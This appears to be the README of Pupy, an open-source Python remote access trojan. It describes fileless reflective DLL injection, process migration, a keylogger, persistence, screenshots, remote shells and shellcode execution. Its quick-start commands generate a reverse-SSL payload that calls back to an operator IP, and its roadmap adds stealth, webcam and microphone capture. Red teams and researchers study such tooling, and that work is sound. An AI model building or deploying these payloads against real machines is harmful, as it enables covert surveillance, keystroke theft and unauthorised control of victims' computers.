Pupy is an opensource RAT (Remote Administration Tool) written in Python. Pupy uses reflective dll injection and leaves no traces on disk.

• On windows, the Pupy payload is compiled as a reflective DLL and the whole python interpreter is loaded from memory. Pupy does not touch the disk :)
• Pupy can reflectively migrate into other processes
• Pupy can remotely import, from memory, pure python packages (.py, .pyc) and compiled python C extensions (.pyd). The imported python modules do not touch the disk. (.pyd mem import currently work on Windows only, .so memory import is not implemented).
• modules are quite simple to write and pupy is easily extensible.
• Pupy uses rpyc (https://github.com/tomerfiliba/rpyc) and a module can directly access python objects on the remote client
  • we can also access remote objects interactively from the pupy shell and even auto completion of remote attributes works !
• communication channel currently works as a ssl reverse connection, but a bind payload will be implemented in the future
• all the non interactive modules can be dispatched on multiple hosts in one command
• Multi-platform (tested on windows 7, windows xp, kali linux, ubuntu)
• modules can be executed as background jobs
• commands and scripts running on remote hosts are interruptible
• auto-completion and nice colored output :-)
• commands aliases can be defined in the config

• migrate (windows only)
  • inter process architecture injection also works (x86->x64 and x64->x86)
• keylogger (windows only)
• persistence (windows only)
• screenshot (windows only)
• command execution
• download
• upload
• socks5 proxy
• interactive shell (cmd.exe, /bin/sh, ...)
• interactive python shell
• shellcode exec (thanks to @byt3bl33d3r)

##Quick start In these examples the server is running on a linux host (tested on kali linux) and it's IP address is 192.168.0.1
The clients have been tested on (Windows 7, Windows XP, kali linux, ubuntu, Mac OS X 10.10.5)

./genpayload.py 192.168.0.1 -p 443 -t exe_x86 -o pupyx86.exe

you can also use -t dll_x86 or dll_x64 to generate a reflective DLL and inject/load it by your own means.

pip install rpyc #(or manually copy it if you are not admin)
python reverse_ssl.py 192.168.0.1:443

easy_install rpyc #(or manually copy it if you are not admin)
python reverse_ssl.py 192.168.0.1:443

1. eventually edit pupy.conf to change the bind address / port
2. start the pupy server :

./pupysh.py

#####list connected clients #####help #####execute python code on all clients #####execute a command on all clients, exception is retrieved in case the command does not exists #####use a filter to send a module only on selected clients #####migrate into another process #####interactive shell #####interactive python shell

##example: How to write a MsgBox module first of all write the function/class you want to import on the remote client
in the example we create the file pupy/packages/windows/all/pupwinutils/msgbox.py

import ctypes
import threading

def MessageBox(text, title):
	t=threading.Thread(target=ctypes.windll.user32.MessageBoxA, args=(None, text, title, 0))
	t.daemon=True
	t.start()

then, simply create a module to load our package and call the function remotely

class MsgBoxPopup(PupyModule):
	""" Pop up a custom message box """

	def init_argparse(self):
		self.arg_parser = PupyArgumentParser(prog="msgbox", description=self.__doc__)
		self.arg_parser.add_argument('--title', help='msgbox title')
		self.arg_parser.add_argument('text', help='text to print in the msgbox :)')

	@windows_only
	def is_compatible(self):
		pass

	def run(self, args):
		self.client.load_package("pupwinutils.msgbox")
		self.client.conn.modules['pupwinutils.msgbox'].MessageBox(args.text, args.title)
		self.log("message box popped !")

##Roadmap and ideas Some ideas without any priority order

• support for https proxy
• bind instead of reverse connection
• add offline options to payloads like enable/disable certificate checking, embbed offline modules (persistence, keylogger, ...), etc...
• integrate scapy in the windows dll :D (that would be fun)
• work on stealthiness and modules under unix systems
• webcam snap
• mic recording
• socks5 udp support
• local/remote port forwarding
• perhaps write some documentation
• ...
• any cool idea ?
